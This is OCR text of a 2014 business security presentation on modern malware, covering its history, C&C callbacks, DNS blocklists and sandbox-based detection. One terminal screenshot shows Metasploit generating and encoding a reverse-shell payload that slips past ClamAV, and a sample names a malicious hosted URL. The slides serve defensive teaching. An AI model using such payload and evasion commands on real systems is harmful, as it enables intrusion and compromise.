Modern Malwares...

. Only a few clicks away from you!

Telenet for Business




Xavier Mertens, again!
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Let’s Avoid This!
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In 66% of investigated incidents,
detection was a matter of months
Oor even more

69% of data breaches are discovered
by third parties

(Source: Verizon DBIR 2012)



2013 - The CryptoLocker trojan horse is discovered.

2011 - SpyEye and Zeus merged code is seen.

2010 — Stuxnet is the first worm to attack SCADA systems

2003 - The SQL Slammer worm
2000 - The ILOVEYOU worm, also known as Love Letter

1999 - The Melissa worm targeted Microsoft Word and Outlook systems

1986 - The Brain boot sector virus is released

1971 - The Creeper system, an experimental self-replicating program, infected DEC PDP-10 computers.



Fridge sends spam
emails as attack hits
smart gadgets...




“Target” PoS were
compromised...




Yahoo! ads network

compromised to
redirect users to -YA.HOO-,

.. _ ; . '
malicious websites It's a malvertisement!



“A malware, or malicious code, is defined as
software or firmware intended to perform an
unauthorized process that will have an
adverse impact on confidentiality, integrity
and availability of an information system.”



Attack actors
$$%
Espionage (industrial or political)
Hacktivism

Attack vectors
Mainly: HTTP / SMTP
Local access (USB — CIFS)
Interactions with humans



“Weapon of Mass Pwnage”
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Downlead
Filezilla Client FileZila is an weal help for downtoading of Tiles from differen
servers, Besides, anyore can use it absalitely far Tree, High
functionaliy, abundance of seltings. portable version that can be
Filezilla Client 3.7.3 released easily downloaded on a flash drive, ability of simple renewal of files
- ) —— at & hosting - only some of the reasomns to say “yes” to this incredibly
reliabile ared conmvenient program,

All ol

Why FTP-manager FileZilla 37

+ Ease and good functonality

+ Perfect Russification

+ The manager supports FTR, FTF over 550 TLS (FTPS) and 55H Fite Transfer footocal (5FTR)
« B support

< The manager suppons HITECLD, S0CKSS and FTP-Proyy

« Resumplion ol e trarsfies withoul sive restrictions

< Appliance for varows platforms: Windows, Linux, "B50, Mac 05 X and other 0%
+ Large variety of languages

+ Bookmarks

< T chient supports drag & diop

» Apared adjustment of File transfen

< There iz 4 master of network connedtion avallable

+ Pemote file editing fienction

< Remote search ability

« Albe manager available

< Download gquewe fuection
~ Ladpaineg ability DOWNLOAD .
+ DArectory comparison

+ [Directony autoview







Always download from official repositories
Always cross-check the MD5/SHA1 hash

Deploy in a lab JDOESN'T CHECK MDS

GETS INSTALLATION:ABORTED. ., S



Bulk attacks use a well-known vulnerability in a
piece of software
Ex: CVE-2012-4681

Lot of computers infected, low revenue
Massive pwnage

Targeted attacks uses a 0-day vulnerability in a
piece of software

Ex: CVE-2011-0609

Limited amount of victims but potentially huge
revenue



Easy as 1, 2, 3, ... 4, 5!




A malware without C&C
communications is useless...
Callbacks are used to phone home

To send interesting data
To ask for what to do?




Callbacks must be stealthy
Obfuscated, encrypted and look “very
common”

Multiple channels
JPEG images
Twitter
Tor
Google Drive
... Theoretically any web 2.0 app!
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Rogue e-mails
Security awareness
Limit / scan attachments

Malicious websites

Can be your favourite website visited
daily - Scan web traffic

Trust nobody
Prevent the “click-o-mania”



Alter the OS

Create/alter files
Create/kill processes
Wait for events
Work stealthy

Network flow
Contact the C&C



Hardening
Restrict users privileges
Uses OS security features

Network segmentation
Don’t put all your eggs in the same bag



Protect your data
Encrypt them

Restrict access to them
Data at rest
Data in motion
Data in use



Classify data
Network flows

EXFILTRATE

Card Dula Medical Dualn

Select data type and number of samples

+ Soctal Security Numbers || 50 Samples
Armerican Express E
Do
Diners Club
Mastercard
Wisa

Wisa 13 Digit



JUSTHINCASE




Introduction

How to fight?
Quick wins
Real time analysis
Solutions
Limitations
Conclusions



pf0.home. rootshell.be - ADSL :: Traffic - 1 week - 1 hour average

bits/sec

B.8

I Tue Wed Thu Fri Sat Sun Hag
B wan-in-block M wan-in-pass O wan-1in6-block [O wan-inG-pass
O wan-out-block M wan-out-pass @ wan-outf-block B wan-outG-pass
W wan-in (95%) M wan-out [(95%)

maximum average current period 95th percentile
IPv4 in-pass 2.458 Mb/s 0.32 Mb/s 0.16 Mb/s 24,24 GB 1 1.45 Mb/s
IPv4 out-pass 144.85 kbh/s 34.12 kb/s 42,67 kb/s 2.56 GB o -90.09 kbh/s
IPv4 in-block 1.13 kbss 0.11 kb/s 0.09 kbyss 7.90 MB 1
IPvd out-block 3.43 kb/s 0,03 kb/s 0.00 kb/s 2,09 MB o
IPVE in-pass 760.83 kb/s 22.58 kb/s 39,05 kbh/s 1.70 GB 1
IPvG out-pass 35,06 kb/s 1.25 kb/s 5,90 kb/s 94,17 MB o
IPvE in-block 90,89 b/s 6.58 b/s 32.63 b/s 494,21 kB 1
IPvE out-block 0.00 b/s 0.00 b/s 0.00 bis 0,00 Bo

Jan 27 13:14:12 2014



Why is this server trying to connect
to the wild Internet?

Why is this laptop trying to connect
to China?

Why does this protocol suddenly
appear?



No DNS, no Internet!

Malwares need DNS to communicate
with C&C

Alert on any traffic to untrusted DNS
Investigate for suspicious domains
Track suspicious requests (TXT)



DNS-BH - Malware Domain Blocklist

Malware Prevention through Domain Blocking {Black Hole DNS Sinkhole}

Home

About

Recent Posts

250+ malvertising and
malspam domains
Adding Sinkholed
Domains to the List
botnet, winlock,
rmalspam, botnet
domains

158 malicious domains
lan 12 Update -
rmalicious spam domains
140+ malvertising 2
rmalspam domans
citadel, botnet, scam,
rmalvertising, magnitude
domains

Donate

Sponsors

115k ™
analytics

Donate

Please Donate

Latest Updates

BH DMS Files BH DNS White Paper Donate Email Us Mirrors

250+ malvertising and malspam domains

Sponsor Us

Posted on January 24th, 2014 in Mew Domains by dglosser

Added over 250 malvertising and malspam domains. Please update your blocklists

and follow our terms of use,

Adding Sinkholed Domains to the List

Fosted on January 22nd, 2014 in Mew Domains by dglosser

We've received several requests to add domains already-sinkholed to this list,
\We've also received other requests to remove a domain as it's already sinkholed.

We've appreciate any thoughts on the matter. Thanks.

botnet, winlock, malspam, botnet domains

Posted on January 21st, 2014 in Mew Domains by dglosser

Added 102 domains associated with botnet, winlock, malspam, botnets and other
maliciousness, Sources include malwareurls, joxeankoret.com, urlguery .net,
wiww exposedbotnets.com (Al domains and sources are listed in

our domains .tk file.)

* Please help to keep this site free and donate whatever you can: all donations
go to hosting and infrastructure costs
* twitter page: https:/ftwitter.com/malwaredomains (may be down, we are

testing)

Terms of Use

Archives

= January 2014 (2
= December 2013
= MNovemnber 2013
= October 2013 (9
= September 2013 (12)
August 2013 (9]

July 2013 (11)

June 2013 (13)

= May 2013 (18)

April 2013 (100

March 20132 (14)
February 2013 011)

= January 2013 (10)

= December 2012 (13)
= Movember 2012 (10)
= October 2012 (6)

= September 2012 (10)
August 2012 (9]

July 2012 (13)

June 2012 (19)

May 2012 (14)

April 2012 (12)

March 2012 (14)
Fehruary 2012 (15)

= January 2012 (25)
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= Movember 2011 (15)
= Cctober 2011 (13)

S)

)
!
(7
J



2] total

SHAZSR: bfd ¢ 18e5d8 efedfEthz2 16987 E2d997 abh0 1546 d22df57 7ief1 Se2b7 10ae4f ‘o
File narne: AM-ORDER-323131 exe —

Detection ratio] 38747 .r 6

Analysis date: 2014-01-09 11:19:56 UTC (2 weeks, 4 days ago )

3= Analysis @ File detail 22 Relationships @ Additional information ® Comments o L) vntes

Antivirus Result Update

AN /Zbot.ESE \ 20140109
Aud-Aovare Trojan. GenerickD. 14759288 20140109
AhnLab-43 BackdoorWWin32. Trojan 20140109
Antivir BDS/Andram. anm) 20140109
Avast WYin32: Crypt-CUT [Trj] 20140109
Baidu-International Backdoor. Win32 Androrm.a0l 20131213
BitDefender Trojan. GenerickD. 147592858 20140109
Blkav W32 Clod2f9. Trojan. 379f 20140109
CAT-CuickHeal Trojan.Agent. su 20140109

Commtouch \WBQ!TrDjan.FGWC—fi?QQ / 20140109




Overview

LRL http:ffusers.telenet.befjunews Barcelonafhtml 130, htm
P 195,130.132.85
A5M A56848 Telenet MW,
Locatian [ I Eelgium
Report completed 2014-01-27 15:00:15 CET
Status Report complete.
urlQuery Alerts Detected javascript associated with malicious code
u »,
Settings
Userfdgent tdozillas 0 (indowes; U Windows NT 6.1 en-U% nel.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader a0
Jawva 1.6.0_2f

Intrusion Detection Systems
Suricata A Ernerging Threats Pro Mo alerts detected

Snort A Sourcefire WRT Mo alerts detected

Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 195.130.122.85

2014-01-25 20:46:50 0/1 http:/fusers.telenet.be/parochie kontich.kazerne B0 195130.132.85
2014-01-13 08:20:21 0/0 http:/fusers.telenet.befmarccordenier! B0 195130.132.85
2013-12-23 13:40:05 152 hittp:ffusers.telenet.be/netspace B0 195.130,132.85
2013-12-23 10:44:30 172 http:ffusers.telenet.befnetspace B0 195130.132.85
2013-12-11 20:01:04 n/2 http:/fusers.telenet.befcrd1007 PrestolotesSetup, exe B0 195130.132.85
2013-12-11 15:38:25 150 hitp:ffusers.pandora.befflippersatellite B0 195.130.132.85
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Action... Reaction!

Incident
Handling
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@™ xavier@hOneypot: ~fownCloud/Research/malwares

File Edit view Search Terminal Help

xavier@hOneyp0t:~/ownCloud/Research/malwares$ ls A*.exe

-rw-rw-r-- 1 xavier xavier 114688 Dec 29 17:23 AM-ORDER-323131.exe

xavier@h@neyp0Ot:~/ownCloud/Research/malwares$ shalsum AM-ORDER-323131.exe
cdc472d610baa23ba4a46db8al2c86ced956b2c5 AM-ORDER-323131.exe
xavier@h®neypOt:~/ownCloud/Research/malwares$




1.Files are extracted from
network flows
2.Hash is computed

> 3.Hash is compared to a
database (local or remote)

4.File is blocked
(know hash) or allowed



M ® @ xavier@hOneypot: Jopt/metasploit/app

File Edit View Search Terminal Help

xavier@hOneypOt: /opt/metasploit/app$ msfpayload windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=133
7 C | msfencode -e x86/shikata_ga_nai -o /tmp/outputl.exe -t exe

[*] x86/shikata_ga_nail succeeded with size 2694 (iteration=1)

xavier@hOneypOt: /opt/metasploit/app$ msfpayload windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=133
7 C | msfencode -e x86/shikata_ga_nai -o /tmp/output2.exe -t exe
[*] x86/shikata_ga_nail succeeded with size 2694 (iteration=1)

xavier@hOneypOt: /opt/metasploit/app$ shalsum /tmp/output*.exe
4c7731232ab4aafa%9ab512cdaaa826d8792803d5 /tmp/outputl.exe
03e59a557cef8f7f5232b89808a5abcc63224b74 /tmp/output2.exe
xavier@hOneypOt: /opt/metasploit/app$ clamscan /tmp/output*.exe
/tmp/outputl.exe: OK

/tmp/output2.exe: OK

SCAN SUMMARY
Known viruses: 3074000
Engine version: 0.97.8
Scanned directories: 0
Scanned files: 2
Infected files: 0
Data scanned: 0.14 MB
Data read: 0.14 MB (ratio 1.00:1)
Time: 4.858 sec (O m 4 s)
xavier@hOneypOt: /opt/metasploit/app$ I




1.Files are extracted from
network flows

2.Files are executed in a

> sandbox

3.Behavior is analyzed and
score is computed

4.File is blocked
(>score) or allowed




Score is computed based on
“actions” performed by the malware

Try to find a debugger +1
Connect to a known IP +2
Perform multiple sleep() +1
Inject itself into a DLL +3

TOTAL +7

If ($score > $threshold) { alert(); }



So what?

Live Analysis

Pro

» Speed

* Privacy

» Integrated into
modern firewalls

e More reliable
e Targeted malware
detected

Con

e Less reliable

e Database growing
daily

» 0-day or targeted
malwares not
detected

* Resources usage
intensive

e Requires dedicated
hardware

e Privacy issue?
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Palo Alto Networks “"Wildfire”

Check Point "Anti-bot” & “"Threat
Emulation”

FireEye (core-business)
Cuckoo (open source project)

TIIOELE <O FireEye




PA & CP integrate smoothly with
existing infrastructure

Data is captured live
Cloud or Appliance based
Data sharing

Web traffic, email protocols (SMTP,
IMAP, POP), FTP, and SMB.



Inspect traffic with the product
proposed by your firewall vendor

Mix this with off-line tools to inspect
network shares or suspicious
computers

On demand analysis



Introduction

How to fight?
Quick wins

Real time analysis
Solutions

Limitations
Conclusions



.LOM



Wait for user interactions

Looks at the $ENV: HW devices, MAC
addresses, disk size, processes, ...

Use non-standard protocols
Use encryption



Access to malwares in motion?
Where to capture the traffic?

Malware could be already installed
and stealthy



OS & software restricted to Windows

Difficult to deploy your own images
with commercial products

Only droppers are analyzed, and after?
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You will be hit by a malware! Be
ready or ... maybe already infected?

You already have valuable data, use
them to track suspicious activity

Best practices might reduce risks

Backdoors in software aren’t
reported as suspicious

Patch, patch and patch again...



Thank You!

Interested?

Contact your Account
Manager for more
information!



